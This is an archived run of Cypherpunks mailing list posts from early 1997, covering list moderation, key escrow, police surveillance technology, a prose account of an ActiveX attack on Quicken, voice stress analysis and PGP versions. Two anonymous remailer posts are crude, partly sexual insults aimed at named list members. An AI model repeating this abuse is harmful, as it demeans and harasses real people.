<Namely, I realize that I don't want the karmic burdens of power myself,
<preferring to lead only by the example I set and the ideas I generate. This
<is why "market anarchies" (books, music, ideas, all things where "no ruler"
<exists) appeal to me so much.

I think you would be surprise at the realization that "leaders" exist
in those so-called "anarchies"

> And since I don't wish to assume the mantle
<of leadership, 

hmmmmmmmmmmmm, it seems to me that reliquishing that burden might entail
having decisions made that you do not agree with.

<I am resentful and suspicious of people who _do_ step into the
<"power vacuum" to lead and control.
<Now I grant you that Sandy's form of leadership and control is relatively

apparently in your brain, "lead" == "control"

<Yes, I'm seething. Sandy is right about that. I saw a group I helped create
<and spent thousands of hours on, writing articles and developing ideas
<choose--by fiat from the owner of the machine the list was being sent out
<from--to embrace the dark side, the control freak side. In the name of
<"comity," Sandy's term for the bonhomie he thinks he can cultivate, we lose
<our ideological purity.

hee, hee.

don't worry timmy, you'll feel better later after you've forgotten
that there was some deep lesson in all this.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Mon, 3 Feb 1997 14:31:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: GAK/KR spin
Message-ID: <v02140b00af1bc8dfe01e@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


Several months back there were discussions on the list regarding renaming
the government's key escrow/recovery proposals (KRAP comes to mind).  I
think we need something that's catchy and simple (perhaps already familiar)
to understand for the semi-litterate citizen units.  I propose we encourage
use of the terms "crippleware" or "crypto crippleware" when refering to the
products limited to their weak crypto and/or key escrow/recovery.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Mon, 3 Feb 1997 11:55:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702031936.OAA08771@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy Maytag's father, an idiot, stumbled across Timmy Maytag's mother, an 
imbecile, when she had no clothes on. Nine months later she had a little moron.

         \\\
        (0 0)
    _ooO_(_)_Ooo____ Timmy Maytag





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Mon, 3 Feb 1997 13:15:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
In-Reply-To: <v02140b05af1be4797ba0@[206.184.194.205]>
Message-ID: <199702032118.PAA05476@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain


Peter Hendrickson writes:

> Moderation has been a failure.  I'm pretty good at filtering and I
> can sadly report that there is very little signal out there.

The quality of the Cypherpunks list is determined solely by the
amount of signal.  The amount of noise is irrelevant.  

Barring someone continuously mail-bombing the list 24 hours a day
from a T3, it is easy to pick and choose the posts one wishes
to read, and wipe the rest with a single keystroke afterwards. 

I read the list selectively depending upon the amount of free time
I have.  I always try to read serious crypto articles, and all posts
by Tim, Hal, Eric, Duncan, and a few other notables.  If I have 
additional time, I will read other threads of interest, a little
Vulis, and selected Toto, who happens to be a very funny person at
times.  

Now that we have moderation, I can't do this while subscribed to the
main list, and have to live in eternal fear that I am writing for 
an audience of 20 every time I respond to something on the unedited
list.

Foo on that.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 3 Feb 1997 15:29:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: now we know why it was called altavista!
Message-ID: <199702032328.PAA32415@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain



...

   Cylink (CYLK) announced today that the government has approved export of
   the company's security products containing strong encryption.

   Likewise, Digital Equipment (DEC) has also won approval and plans to
   begin shipments of encryption-enabled networking and system software
   immediately.

   A third company, Trusted Information Systems, effectively had approval
   before January 1 because of its existing key recovery technology.

...

http://www.news.com/News/Item/0,4,7575,00.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 3 Feb 1997 15:31:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: concerning Ben Franklin
Message-ID: <199702032331.PAA05637@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I was reading one of the posts in the thread reguarding sone stolen object
in Miami, the one reffering to the locks of the boxes, and it got me thinking.
Ben Franklin was a revolutionary, scientist, inventor, publisher, statesman,
and bookburner (according to F451).  Perhaps he should be considered to be a
cypherpunk, not that he necessarily knew anything about crypto, but because
he was interested in many of the same ideals.  It is my belief that were he
alive today, he would be on this list.  If the work of fiction referred to
above, and in another recent post, is accurate in its reference to Franklin,
then he would seem to have had the same solution to net pollution, burn it.
Rather than considering Ben Franklin the first fireman, I would like to
think of him as an early breed of cypherpunk.  By this I consider cypherpunk
to be interested in the subject, and its outcome, and a cryptographer to be
just one faction of cypherpunk.  Merely my opinion.
Does anyone know whether or not Mr. Franklin may have played with code as
well?  All of my sources were assimilated into my understanding of the man
several years ago, and at the time crypto was less in the public eye than it
is now.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Mon, 3 Feb 1997 15:56:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: New X-Ray Imager
Message-ID: <v02140b01af1c2619c726@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


New X-ray gun trades privacy for safety

Reported by Andy C

Seen in The Nando Times on 13 August 1996

----------------------------------------------------------------------------

The Passive Millimeter Wave Imager can X-ray through clothing to "see" a
concealed weapon, plastic explosives or drugs. A police officer can
surreptitiously aim it into a crowd from as far away as 90 feet.

The new X-ray gun is becoming a symbol for an unlikely alliance of civil
libertarians and gun owners who fear the fight against crime and terrorism
may be waged at the expense of personal freedoms.

"I'm incredibly concerned," said John Henry Hingson, a past president of the
National Association of Criminal Defense Lawyers, meeting here this past
week. "The entire nation could become a victim of illegal searches and
seizures and the law is powerless to protect them from these police abuses."

But in these nervous times following the the crash of TWA Fight 800 and
bombings at the Olympics, Oklahoma City and the World Trade Center, many
Americans are now willing to trade some of their privacy and civil liberties
for greater security.

A poll last week by the Los Angeles Times found that a majority of people --
58 percent -- said they would curtail some civil liberties if it would help
thwart terrorism. Thirteen percent said it would depend on what rights were
at stake. The poll didn't ask people to single out any rights.

The Clinton administration has proposed increased wiretapping and other
anti-terrorism steps, and is doling out research grants for cutting edge
anti-crime technology that once may have been intended for only military
use.

Last year, the National Institute of Justice awarded $2.1 million to three
companies to develop weapon detectors for airports, stores and public
buildings.

Two models are being developed of the Passive Millimeter Wave Imager, a
creation of Hadley, Massachusetts-based Millimetrix Corp.

The larger one, about the size of a shoebox, is mounted on a patrol car and
pointed at the unsuspecting person. The gadget doesn't send out X-rays;
instead, it picks up electromagnetic waves emitted by human flesh.

Anything that stands in the way of those waves -- like a gun -- or anything
that emits weaker waves -- like a bag of cocaine or a plastic explosive --
will show up on a little screen in the patrol car.

Clothes emit no waves. Neither do walls, allowing the device to be used from
even outside a room.

A second model is a smaller, battery-operated version that an officer can
operate by hand, like a radar gun.

Millimetrix hopes to field test the larger model soon at a police agency.

Hingson argues the device runs roughshod over bans against illegal searches
and seizures. The law says police can stop and frisk a person only when an
officer has a "reasonable suspicion" the person is armed or involved in a
crime.

Millimetrix points out that while the imager can see through clothing, it
still leaves people some privacy. The device's display screen, the company
says, "does not reveal intimate anatomical details of the person."

Chip Walker, spokesman for the National Rifle Association, noted that
devices like the imager threaten the legal rights of people in 31 states who
are allowed to carry concealed weapons with proper licenses.

"We certainly support efforts to disarm criminals, but we need to be careful
that we're not painting with too broad a brush here," he said.

Walker said that as troubling as terrorism is, people may be playing into
terrorists' hands by giving up their privacy.

"One of the broader issues is that if we start giving up certain civil
liberties, that essentially means that the terrorists are starting to
accomplish one of their goals," he said.

     Contact email address: acobley@mic.dundee.ac.uk

---------------------

(From a TRW development program description)

The Passive Millimeter Wave sensor detects thermal energy, which is
radiated from objects and reflected from other objects such as the sky in
the 94 Giga Hertz frequency band. The advantage of this frequency is that
there is little attenuation of the energy by water particles in the air
(fog).

The camera operates very much like a television camera except that it
operates at mm-wave frequencies (near 90 GHz) instead of in the visible
spectrum. It has components analogous to a television camera: optics to
focus the image, a readout device to convert the electromagnetic energy
into electrical signals, signal processing electronics to prepare the
signals for display, and display unit to view the scene. The optical system
images the blackbody radiation emanating from the scene on the Focal Plane
Array (FPA), which consists of an array of small antennas, each coupled to
a very small MMIC W-band (90 GHz) direct-detection receiver.

----------------

>From a description of the National Law Enforcement & Corrections Technology
Center/Northeast (NLECTC) at Rome Laboratory (more on that later).

The Millimeter Wave Imaging Radar Consortium seeks development of a
suitable technology and effective, affordable products for concealed weapon
detection (CWD) and through-the-wall surveillance (TWS) application ---
well-established objectives for both military operations other than war and
civilian law enforcement agencies. Consortium members include Millimetrix
Corp., South Deerfield, Mass.; Technology Service Corp., Trumbull, Conn.;
and Riverside Research Institute of Lexington, Mass. They will contribute
$2,035,087 to the research program, while the government's share will be
$2,018,491. Military applications of the envisioned technology, in addition
to operations other than war, would include use by military police and
special forces personnel, all weather aircraft operation, shipboard and
airborne missile warning, helicopter
obstacle avoidance, battlefield surveillance, fire control, and missile
seekers. Civilian law enforcement agencies would be able to use the
technology in curtailing terrorist acts and juvenile handgun crimes that
frequently involve the use of concealed weapons, bombs and other contraband
that cannot be detected using currently available technology

   see <http://www.nlectc.org/E144T127/june.htm>

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Mon, 3 Feb 1997 15:56:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Your tax dollars at work
Message-ID: <v02140b02af1c2b13f287@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


     NIJ Opens Regional Technology Center in Rome:

 Representatives of the U.S. Department of Justice, state and local elected
officials, and Air Force leaders officially opened the National Law
Enforcement & Corrections Technology Center/Northeast (NLECTC) at Rome
Laboratory. The Center will work with law en forcement and corrections
organizations from 16 states --- stretching from Maine to Minnesota --- to
determine operational requirem ents and identify, evaluate, develop,
demonstrate and assess new or improved technology applications to meet
those needs. The Center will also provide assessment of law enforcement
products information, standards and testing. The Northeast NLECTC is
co-located with Rome Laboratory within the Griffiss Business and Technology
Park. Rome Laboratory is the Air Force's research and development
laboratory responsible for command, control, communications, computer and
intelligence technologies.

The laboratory was selected as a regional technology center for the Justice
Department's National Institute of Justice (NIJ) in December 1994. It joins
four other regional centers across the country that use existing facilities
and resources to support the NI J's Office of Science and Technology and
law enforcement and corrections organizations.

The Northeast NLECTC will support law enforcement and corrections
activities in the following states: Maine, New Hampshire, Verm ont,
Massachusetts, Connecticut, Rhode Island, New York, New Jersey, Delaware,
Maryland, Pennsylvania, Ohio Michigan, Wisconsin, Io wa and Minnesota. It
will facilitate technical interchange between prospective users and
developers or technology through regional symposia, exhibitions and
workshops. Participants range from the law enforcement and corrections
community to the Department of De fense and the commercial sector.

Each of the five regional centers has a specific technological focus, with
the Northeast NLECTC capitalizing on Rome Laboratory' s more than 40 years
of expertise developing technologies that provided the vital eyes, ears and
voices for the nation's military. The Rome Laboratory Law Enforcement Team
will be working with the Northeast NLECTC to convert a variety of defense
technologies to the benefit of law enforcement and corrections. At the
current time, efforts are directed at transferring technologies in the foll
owing areas:

*** Sensors: concealed weapon detection, Over-the-Horizon radar, wall
penetration surveillance, and passive location, tracking and tagging.

*** Information Technology: image processing, natural language processing,
and identification using optical correlation.

*** Intelligence Exploitation: speech processing, timeline analysis,
automated firearm identification, and forensic sciences.

*** Communications: applications of high-speed networks, multiband
multifunction radios, and rapidly deployable communications.

*** Command and Control: collaborative planning, visualization techniques,
and Joint Automated Booking Station. Over the past four decades,
researchers at Rome Laboratory have developed a vast array of technological
tools for the military to e mploy in our national defense. Within the
shared framework of command, control, communications and intelligence, many
of those tech nologies apply to the domestic law enforcement mission as
well. As one of NLECTC's regional law enforcement technology centers, Ro me
Laboratory will continue to make substantial contributions to the war on
crime by developing technologies that meet the increasi ng needs of law
enforcement.



  Rome Laboratory Signs Law Enforcement Technology Agreement with City of Rome



Representatives of Rome Laboratory and the City of Rome signed a
Cooperative Research and Development Agreement (CRDA) to establ ish a
formal working agreement for the purpose of testing and evaluating military
technologies in a law enforcement setting. The C RDA signing was the first
official action following a ribbon-cutting that opened the National
Institute of Justice's Northeast Regi on National Law Enforcement &
Corrections Technology Center at Rome Laboratory. Signing the agreement
were Col. Ted. F. Bowlds, com mander of Rome Laboratory, and Rome Police
Chief Merino J. Ciccone. During the five-year agreement, Rome Laboratory
will supply a variety of technologies to the Rome Police Department. Police
department officers and officials will then test, evaluate and report back
to Rome Laboratory regarding the effectiveness of the test technologies.
Some of the technical tasks to be performed under t he CRDA are enhancing
the computing capability of the Rome Police Department, including improved
access to law enforcement data bas es and access to the World Wide
Web/Internet, as well as synchronization of 911 Emergency System, computer
and alarm time clocks. Rome Police Department personnel will also gain
access to advanced technologies such as the "sniffer alcohol detection
flashlight," night-vision goggles and hand-held digital assistants.


    German Magazine interested in Rome Laboratory's Law Enforcement Efforts

Dr. Frank Ochmann, a science editor for Germany's Stern Magazine, visited
Rome Laboratory to interview engineers and managers involved in law
enforcement technology. The interview was requested in light of the April
issue of the FBI Law Enforcement Bulletin, which carried an eight-page
article covering a wide variety of C3I technologies developed by the
Laboratory.



    Rome Laboratory Awards Funding to Research  Consortia for Dual-Use
Military and Law Enforcement Applications

ROME, N.Y., June 25, 1996 --- Rome Laboratory has awarded funding totaling
more than $5 million to three research consortia. Combined with investment
by the consortia partners, the total amount of research will approach $17
million. Rome Laboratory will serve as the agent for the Defense Advanced
Research Projects Agency (DARPA) in managing the three research programs
that were instituted under DARPA's Technology Reinvestment Project. The
goal of all three programs is to develop new technologies with applications
to both the military and commercial markets.

The Quick Reaction Spoken Language Translator (QRSLT) Consortium seeks to
develop a product prototype of a hand-held or body-mounted QRSLT that would
allow military personnel in a hostile environment or civilian law
enforcement personnel in an emergency situation to communicate with a
non-English speaking individual using an easily portable, automatic
translation device. The government is contributing $2,374,821 to the
program, with consortium members sharing a cost of $3,632,852. Consortium
members include Language Systems Inc., Woodland, Calif.; Entropic Research
Laboratories Inc., Menlo Park, Calif.; and Eloquent Technology Inc. of
Ithaca, N.Y. Language Systems Incorporated, developed the initial spoken
language translation prototype under the direction and funding of Rome
Laboratory, in support of military requirements. The QRSLT will accept
spoken English input from a military or law enforcement user, translate the
input into Spanish or Arabic, and generate the computer-spoken translation.
The translator will also accept spoken Spanish and Arabic inputs and
translate them into spoken English output. This will be an innovative
advance over currently available "speaking translators," which produce
speech based on typed inputs, which cannot accept spoken input, and which
are not customized for military or law enforcement operations.

The Millimeter Wave Imaging Radar Consortium seeks development of a
suitable technology and effective, affordable products for concealed weapon
detection (CWD) and through-the-wall surveillance (TWS) application ---
well-established objectives for both military operations other than war and
civilian law enforcement agencies. Consortium members include Millimetrix
Corp., South Deerfield, Mass.; Technology Service Corp., Trumbull, Conn.;
and Riverside Research Institute of Lexington, Mass. They will contribute
$2,035,087 to the research program, while the government's share will be
$2,018,491. Military applications of the envisioned technology, in addition
to operations other than war, would include use by military police and
special forces personnel, all weather aircraft operation, shipboard and
airborne missile warning, helicopter obstacle avoidance, battlefield
surveillance, fire control, and missile seekers. Civilian law enforcement
agencies would be able to use the technology in curtailing terrorist acts
and juvenile handgun crimes that frequently involve the use of concealed
weapons, bombs and other contraband that cannot be detected using currently
available technology.

The Speaker Identification for Law Enforcement Consortium will be funded
with $3.2 million, evenly divided between the government and consortium
members T-NETIX Inc. of Englewood, Colo., and Dictaphone of Stratford,
Conn. The goal of the consortium is to transfer previously developed
speaker identification technology into commercial and military
applications. With specific emphasis on minimal size, weight, power and
cost, the technology is envisioned to have widespread civilian law
enforcement surveillance applications.

see <http://www.nlectc.org/E144T127/june.htm>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <ray@earthweb.com>
Date: Mon, 3 Feb 1997 13:05:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Another ActiveX hole (fwd)
Message-ID: <Pine.SOL.3.91.970203160517.3944A-100000@fox>
MIME-Version: 1.0
Content-Type: text/plain




-------+..........................................................+-------
 + ^ + :   Ray Arachelian   :    #include <std_disclaimer.h>      :../|\..
  \|/  :  ray@earthweb.com  :.....................................:./\|/\.
<--+-->:  ................  : My oppinions are my own and do not  :.\/|\/.
  /|\  :voice: 212-725-6550 : neccesairly represent those of my   :..\|/..
 + v + :....................: employer.                           :.......
.... http://www.sundernet.com ...personal.email sunder@sundernet.com .....

---------- Forwarded message ----------
Date: Mon, 03 Feb 1997 13:26:44 -0500
From: Andy Breen <abreen@earthweb.com>
To: yak@earthweb.com
Subject: Another ActiveX hole

hmmmmmmmmmmmmm....

------------------
DMK:  An application of covert channels. From RISKS Digest Vol 18, Issue 80.
  
Date: 1 Feb 1997 05:12:02 GMT
From: weberwu@tfh-berlin.de (Debora Weber-Wulff)
Subject: Electronic Funds Transfer without stealing PIN/TAN
  
The Berlin newspaper "Tagespiegel" reports on 29 Jan 97 about a television
show broadcast the previous evening on which hackers from the Chaos 
Computer Club demonstrated how to electronically transfer funds
without needing a PIN (Personal Identification Number) or TAN
(Transaction Number). 
   Apparently it suffices for the victim to visit a site which downloads an
ActiveX application, which automatically starts and checks to see if
Quicken, a popular financial software package that also offers electronic
funds transfer, is on the machine. If so, Quicken is given a transfer 
 order
      which is saved by Quicken in its pile of pending transfer orders. The next
      time the victim sends off the pending transfer orders to the bank (and
      enters in a valid PIN and TAN for that!)  all the orders (= 1 transaction)
      are executed - money is transferred without the victim noticing!
  
      The newspaper quotes various officials at Microsoft et al expressing
      disbelief/outrage/"we're working on it". We discussed this briefly in 
 class
      looking for a way to avoid the problem. Demanding a TAN for each transfer 
 is
      not a solution, for one, the banks only send you 50 at a time, and many
      small companies pay their bills in bunches. Having to enter a TAN for each
      transaction would be quite time-consuming. Our only solution would be to
      forbid browsers from executing any ActiveX component without express
      authorization, but that rather circumvents part of what ActiveX is 
 intended
      for.
  
      A small consolation: the transfer is trackable, that is, it can be
      determined at the bank to which account the money went. Some banks even
      include this information on the statement, but who checks every entry on
      their statements...
  
      Debora Weber-Wulff, Technische Fachhochschule Berlin, Luxemburger Str.
10, 
      13353 Berlin GERMANY weberwu@tfh-berlin.de 
 <http://www.tfh-berlin.de/~weberwu/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 3 Feb 1997 16:15:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: VOICE STRESS ANALYSIS
Message-ID: <199702040015.QAA06962@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:25 PM 2/2/97 -0800, jim bell wrote:
>Awhile back we were discussing voice-stress analysis; just got this item on 
>the subject; he said it's okay to post it.
>
>
>
>>From: Spectre334@aol.com
>>Date: Sun, 2 Feb 1997 09:31:17 -0500 (EST)
>>To: jimbell@pacifier.com
>>cc: BLAMES2778@aol.com, AFSCA@aol.com, JLeek426@aol.com
>>Subject: VOICE STRESS ANALYSIS
>>
>>MR. BELL:
>>
>>I FOUND YOUR QUERY ABOUT VOICE STRESS ANALYSIS ON THE INTERNET, AND I TOO,
>>HAVE FOUND A DEARTH OF INFORMATION THERE - UNTIL NOW.
>>
>>I'M PLEASED TO REPORT THAT VOICE STRESS ANALYSIS (VSA) IS ALIVE AND WELL.  IT
>>HAS BEEN QUIETLY PERFORMING IN THE SHADOW OF THE POLYGRAPH FOR MANY YEARS.
>> NOW, HOWEVER, IT IS COMING INTO ITS AND IS USED IN MANY STATES TO AID IN
>>CRIMINAL INVESTIGATIONS AND OTHER APPLICATIONS.
>>
...
>>THE DIOGENES GROUP, INC., OF WHICH I AM PRESIDENT, HAS DEVELOPED A TOTALLY
>>DIGITAL APPROACH TO VSA, AND BEGAN DELIVERING SYSTEMS TO LAW ENFORCEMENT
>>AGENCIES IN DECEMBER, 1996.  THE PREMIER DIOGENES VSA PRODUCT IS REDUCED TO
>>THE SIZE OF A NOTEBOOK COMPUTER, BUT PRODUCES REALTIME PROCESSING FOR
>>SOFTCOPY DISPLAY, AND HARDCOPY PRINTING WITHIN SECONDS.
>>
>>YOU MAY BE FAMILIAR WITH THE PREVIOUS STATE-OF-THE-ART, WHICH WAS A
>>RELATIVELY LARGE ANALOG MACHINE, USING A SINGLE CHANNEL AND PRINTING OUT THAT
>>DATA ON A ROLL OF THERMAL PAPER.  THOSE DAYS ARE GONE FOREVER.  
>>
>>IF YOU WOULD LIKE MORE INFORMATION ON THE DIOGENES GROUP AND ITS PRODUCTS,
>>PLEASE USE THIS CHANNEL TO SEND ME YOUR MAILING ADDRESS, PHONE NUMBER, AND
>>FAX NUMBER.
>>
>>THANKS FOR YOUR INTEREST IN VOICE STRESS ANALYSIS.
...
Check the Readers Guide for the last couple of years.  I don't have my
Popular Electronics collection handy, but not too long ago they put out the
plans to a smaller unit based around some Cell Phone part.  It operated on a
single frequency as opposed to a varient modulation of the voice.  This
allowed the unit to be much smaller and simpler, sacrificing some of the
accuracy for a reasonable price (PC board, parts and case available for, I
think, less than $100).  The whole unit fit in a case about the size of a
transistor radio and used a couple of bar graph displays (LED) for output.
The whole operating theory is regulary printed with the schematics, and a
parts list and foil diagrams are included for those who want to make the
project from scratch.

While your at it, look up the subliminal mixer from about 1992, I made one
of these and only prevented from using it by the lack of a decent power supply.

The single frequency mentioned above is further explained in the text.

The local library can get a copy of either of these issues, or any others
that catch your interest, for you if you ask really nicely.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 3 Feb 1997 14:46:56 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Filling Power Vacuums
In-Reply-To: <199702032224.OAA00880@netcom9.netcom.com>
Message-ID: <199702032242.QAA01249@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


vovochka wrote:
> timmy writes:
> 
> <It's about "power grabs."
> <
> <You see, in any anarchic situation, where reliance on self-control and
> <self-filtering is emphasized, there is always a _temptation_ for some to
> <"fill the power vacuum" and grab power.
> 
> ah, so what's the solution?

Maybe there is a way to set up a structure that allows for no power 
to appear. In fact, I know one.

> don't worry timmy, you'll feel better later after you've forgotten
> that there was some deep lesson in all this.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Mon, 3 Feb 1997 17:01:39 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: what's in a name?
Message-ID: <Pine.SUN.3.95q.970203165741.10057B-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


I've stayed out of the debate about list moderation so far, but a recent
post from tmcghan@gill-simpson.com reminds me of something I've been
thinking about.  An interesting way to look at what happened is that John
Gilmore owns the name "cypherpunks@toad.com" and has chosen to exercise
that ownership.  Even though those of us who disagree with the way he has
done so are free to leave and set up our own mailing list, it is costly to
do so, and the problem of central name ownership remains.  List
subscribers have made investments that are specific to the name
"cypherpunks@toad.com", and most of the cost of switching to a new list is
in the new investments they would have to (re)make.  The fact is that a
promise of no censorship is not enough incentive for us to do so. 
 
I suspect that the hierarchical nature of name ownership on the Internet
today will be an important technological barrier for the establishment of
truly anarchic virtual communities.  Unless this problem is solved, the
closest we'll come is pseudo-anarchies that exist with the tolerance of
beneficent dictators.
 
Wei Dai






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Mon, 3 Feb 1997 15:59:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Race and IQ
Message-ID: <199702032359.QAA11023@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Dense Vinegar had his foreskin ripped off last night by a vacuum
cleaner.

 ^-^-^-@@-^-^-^
      (..)     Dense Vinegar






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Mon, 3 Feb 1997 17:26:04 -0800 (PST)
To: "Scott V. McGuire" <svmcguir@syr.edu>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <Pine.LNX.3.95L01at.970203173304.618A-100000@homebox>
Message-ID: <Pine.SUN.3.91.970203171820.6173B-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 3 Feb 1997, Scott V. McGuire wrote:

> Sandy, you said that you thought the list had improved since you began
> moderating.  How could you think otherwise?  When you send an article to
> the flames list its because you think the list would have been worse
> otherwise. 

If I wasn't clear, I'm sorry.  I think the quality of content
and the degree of civility have improved.  My extreme example was
the increase in polite, on-topic posts from Dimitri, but are 
others.  That's the sort of improvement to which I was referring.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Mon, 3 Feb 1997 14:23:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGP 2.1
Message-ID: <9702032223.AA11951@super.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com
Date: Mon Feb 03 17:19:14 1997

> Mark Henderson wrote:
> > 
> > Larry Johnson writes:
> > > Hello,
> > > Can any;one tell me how to get a version of PGP 2.1?
> > > Thanks
> > >
> > But, why do you want version 2.1?
> 
> Because the guy who wrote it was let off after that on his jail 
> charges, so I'm not going to use anything he made after that if
> I don't know why.
> I'm not saying that he rolled over or nothin buyt I'm gonna be
> paranoyd like he said in the book. I dont suposse he'd mind,
> since he said it.
> I'm not real smart sometimes but I'nm not a real lamer, either.
> (I don't think)

I bite my tongue....
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMvZkYj5A4+Z4Wnt9AQEtNwP/TXMTZcozL0dNIJjBbdX7mwu0DiEJZV29
nzmIOPZFQyqeVgc1+DrYc0oB6hILAdC5Juf2k7sHr3bzqwNUWERY+PskVRWxRsi6
onN5OqNiAZxVJMcUDZx2r34vZd9Z3TtkGqHDY91xr6Q8UgBYcsmI1SwyjUTwgwST
oraGSR/h8eE=
=YYIb
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 3 Feb 1997 17:40:33 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <3.0.32.19970203174114.006ec708@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 11:48 PM 2/3/97 GMT, Adam Back wrote:
>
>Lucky Green <shamrock@netcom.com> writes:
>> I believe that Cypherpunks is beyond hope of recovery. In fact, each day
>> Cypherpunk (as in cypherpunks@toad.com) lives on, it does damage to the
>> cause. Let's kill the list. Once and for all. Let the hard core crypto go
>> to Coderpunks, the politics to Cryptography, and the garbage into the void.
>
>What about the leaks?  (rc4.c, Mykotronics dumpster contents, etc)
>Where do they go?

I have been thinking about this question. I don't really have an answer
other than that the more recent leaks posted to this list drew zero
response. How many of you remember the anonymous message posted to this
list revealing that Skipjack is an elliptic curve cipher? [One of the most
respected names in cryptography confirmed this to me in private
conversation. No, the person was not privy to the secret specs. The person
didn't need to be. :-]

If nobody cares about the leaks, why do we need to provide a forum for
them? Besides, there are other fora that could be used. sci.crypt or
Coderpunks are both good places to post "found" code.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wlkngowl@unix.asb.com (Mutatis Mutantdis)
Date: Mon, 3 Feb 1997 09:56:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGP 2.1
Message-ID: <199702031820.NAA18754@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


On 3 Feb 1997 10:46:20 -0500, you wrote:

>Mark Henderson wrote:
>> 
>> Larry Johnson writes:
>> > Hello,
>> > Can any;one tell me how to get a version of PGP 2.1?
>> > Thanks
>> >
>> But, why do you want version 2.1?

>Because the guy who wrote it was let off after that on his jail 

Phil Zimmerman?

>charges, so I'm not going to use anything he made after that if

No, the charges were not "jail charges". They were for exporting munitions.
He was let off after 2.5 or 2.6.

The urban myth  is that 2.3a is safe.  You can read the source code
yourself.  2.6.2 is fine. Older versions actually have some minor bugs.

>I don't know why.
>I'm not saying that he rolled over or nothin buyt I'm gonna be
>paranoyd like he said in the book. I dont suposse he'd mind,
>since he said it.

You'd be using a version with holes in it. Why not read the source code
of the new version and verify it's security yourself? (If you can't
undertsand it, it won't matter which version you're using because you're
trusting it no matter what.)

>I'm not real smart sometimes but I'nm not a real lamer, either.
>(I don't think)

Well, start thinking....

Rob




-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
